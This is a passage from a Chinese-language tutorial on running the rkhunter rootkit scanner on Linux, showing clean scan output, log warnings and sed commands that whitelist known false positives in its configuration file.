<li>&nbsp;&nbsp; &nbsp;ld-linuxv.so Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Li0n Worm&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Lockit / LJK2 Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Mood-NT Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;MRK Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Ni0 Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Ohhara Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Optic Kit (Tux) Worm&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Oz Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Phalanx Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Phalanx2 Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Phalanx2 Rootkit (extended tests)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Portacelo Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;R3dstorm Toolkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;RH-Sharpe's Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;RSHA's Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Scalper Worm&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Sebek LKM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Shutdown Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;SHV4 Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;SHV5 Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Sin Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Slapper Worm&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Sneakin Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;'Spanish' Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Suckit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;SunOS Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;SunOS / NSDAP Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Superkit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;TBD (Telnet BackDoor)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;TeLeKiT Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;T0rn Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;trNkit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Trojanit Kit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Tuxtendo Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;URK Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Vampire Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;VcKit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Volc Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;Xzibit Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;X-Org SunOS Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;zaRwT.KiT Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Not found ]</li>
<li>&nbsp;&nbsp; &nbsp;ZK Rootkit&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not found ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing additional rootkit checks</li>
<li>&nbsp;&nbsp; &nbsp;Suckit Rookit additional checks&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for possible rootkit files and directories&nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for possible rootkit strings&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing malware checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking running processes for suspicious files&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for login backdoors&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for suspicious directories&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for sniffer log files&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ None found ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing Linux specific checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking loaded kernel modules&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking kernel module names&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;</li>
<li>Checking the network...</li>
<li>&nbsp;</li>
<li>&nbsp; Performing checks on the network ports</li>
<li>&nbsp;&nbsp; &nbsp;Checking for backdoor ports&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing checks on the network interfaces</li>
<li>&nbsp;&nbsp; &nbsp;Checking for promiscuous interfaces&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;</li>
<li>Checking the local host...</li>
<li>&nbsp;</li>
<li>&nbsp; Performing system boot checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking for local host name&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for system startup files&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking system startup files for malware&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing group and account checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking for passwd file&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for root equivalent (UID 0) accounts&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for passwordless accounts&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for passwd file changes&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for group file changes&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking root account shell history files&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing system configuration file checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking for SSH configuration file&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking if SSH root access is allowed&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not allowed ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking if SSH protocol v1 is allowed&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not allowed ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for running syslog daemon&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for syslog configuration file&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking if syslog remote logging is allowed&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Not allowed ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing filesystem checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking /dev for suspicious file types&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for hidden files and directories&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>&nbsp;</li>
<li>Checking application versions...</li>
<li>&nbsp;</li>
<li>&nbsp;&nbsp; &nbsp;Checking version of GnuPG&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking version of OpenSSL&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking version of Procmail MTA&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking version of OpenSSH&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>&nbsp;</li>
<li>&nbsp;</li>
<li>System checks summary</li>
<li>=====================</li>
<li>&nbsp;</li>
<li>File properties checks...</li>
<li>&nbsp;&nbsp; &nbsp;Files checked: 135</li>
<li>&nbsp;&nbsp; &nbsp;Suspect files: 5</li>
<li>&nbsp;</li>
<li>Rootkit checks...</li>
<li>&nbsp;&nbsp; &nbsp;Rootkits checked : 253</li>
<li>&nbsp;&nbsp; &nbsp;Possible rootkits: 0</li>
<li>&nbsp;</li>
<li>Applications checks...</li>
<li>&nbsp;&nbsp; &nbsp;Applications checked: 4</li>
<li>&nbsp;&nbsp; &nbsp;Suspect applications: 2</li>
<li>&nbsp;</li>
<li>The system checks took: 1 minute and 38 seconds</li>
<li>&nbsp;</li>
<li>All results have been written to the log file (/var/log/rkhunter.log)</li>
<li>&nbsp;</li>
<li>One or more warnings have been found while checking the system.</li>
<li>Please check the log file (/var/log/rkhunter.log)</li></ol></div>
<p>相应产生的日志<br />
# cat /var/log/rkhunter.log |grep Warning</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">[13:52:20]&nbsp; &nbsp;/sbin/ifdown&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>[13:52:20] Warning: The command '/sbin/ifdown' has been replaced by a script: /sbin/ifdown: Bourne-Again shell script text executable</li>
<li>[13:52:20]&nbsp; &nbsp;/sbin/ifup&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>[13:52:20] Warning: The command '/sbin/ifup' has been replaced by a script: /sbin/ifup: Bourne-Again shell script text executable</li>
<li>[13:52:34]&nbsp; &nbsp;/usr/bin/groups&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>[13:52:34] Warning: The command '/usr/bin/groups' has been replaced by a script: /usr/bin/groups: Bourne shell script text executable</li>
<li>[13:52:35]&nbsp; &nbsp;/usr/bin/ldd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ Warning ]</li>
<li>[13:52:35] Warning: The command '/usr/bin/ldd' has been replaced by a script: /usr/bin/ldd: Bourne shell script text executable</li>
<li>[13:52:39]&nbsp; &nbsp;/usr/bin/whatis&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>[13:52:39] Warning: The command '/usr/bin/whatis' has been replaced by a script: /usr/bin/whatis: Bourne shell script text executable</li>
<li>[13:53:44]&nbsp; &nbsp;Checking for hidden files and directories&nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>[13:53:44] Warning: Hidden directory found: /dev/.udev</li>
<li>[13:53:44] Warning: Hidden file found: /usr/share/man/man1/..1.gz: gzip compressed data, from Unix, max compression</li>
<li>[13:53:44] Warning: Hidden file found: /usr/bin/.fipscheck.hmac: ASCII text</li>
<li>[13:53:44] Warning: Hidden file found: /usr/bin/.ssh.hmac: ASCII text</li>
<li>[13:53:44] Warning: Hidden file found: /usr/sbin/.sshd.hmac: ASCII text</li>
<li>[13:53:45]&nbsp; &nbsp;Checking version of OpenSSL&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>[13:53:45] Warning: Application 'openssl', version '0.9.8e', is out of date, and possibly a security risk.</li>
<li>[13:53:45]&nbsp; &nbsp;Checking version of OpenSSH&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>[13:53:45] Warning: Application 'sshd', version '4.3p2', is out of date, and possibly a security risk.</li></ol></div>
<p><strong>三.修正误报</strong><br />
可以看到上面信息基本为误报</p>
<p>还有更新了部分包可能会因起No hash value found错误;<br />
grep是安装nginx时更新了pcre<br />
amd是安装sasl认证</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">Warning: No hash value found for file '/bin/egrep' in the rkhunter.dat file.</li>
<li>Warning: No hash value found for file '/bin/fgrep' in the rkhunter.dat file.</li>
<li>Warning: No hash value found for file '/bin/grep' in the rkhunter.dat file.</li>
<li>Warning: No hash value found for file '/usr/sbin/amd' in the rkhunter.dat file.</li></ol></div>
<p>使用prelink可以查看</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"># prelink --verify --sha /bin/egrep</li>
<li>prelink: /bin/egrep: at least one of file's dependencies has changed since prelinking</li>
<li># prelink /bin/egrep </li>
<li>prelink: /usr/local/lib/libpcre.so.0.0.1 is not present in any config file directories, nor was specified on command line</li>
<li># prelink --verify --sha /usr/sbin/amd</li>
<li>prelink: /usr/sbin/amd: at least one of file's dependencies has changed since prelinking</li>
<li># prelink /usr/sbin/amd </li>
<li>prelink: /usr/local/sasl2/lib/libsasl2.so.2.0.22 is not present in any config file directories, nor was specified on command line</li>
<li>Aborted</li></ol></div>
<p>cp /usr/local/rkhunter/etc/rkhunter.conf{,.bak}<br />
网上部分脚本已失效,我对此作了些修改</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline">sed -i 's/#SCRIPTWHITELIST=\/sbin\/ifup/SCRIPTWHITELIST=\/sbin\/ifup/' /opt/rthunter/etc/rkhunter.conf</li>
<li>sed -i 's/#SCRIPTWHITELIST=\/sbin\/ifdown/SCRIPTWHITELIST=\/sbin\/ifdown/' /opt/rthunter/etc/rkhunter.conf</li>
<li>&nbsp;</li>
<li>sed -i '/#SCRIPTWHITELIST=&quot;\/sbin\/ifup/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>sed -i '/#SCRIPTWHITELIST=&quot;\/usr\/bin\/groups&quot;/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>sed -i '/#ALLOWHIDDENDIR=&quot;\/etc\/.java&quot;/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>sed -i '/#ALLOWHIDDENDIR=&quot;\/dev\/.mdadm&quot;/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>sed -i '/#ALLOWHIDDENDIR=&quot;\/dev\/.udev/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
<li>sed -i '/#ALLOWHIDDENFILE=&quot;\/usr\/share\/man\/man1\/..1.gz&quot;/ {s/^#//g}' /usr/local/rkhunter/etc/rkhunter.conf</li>
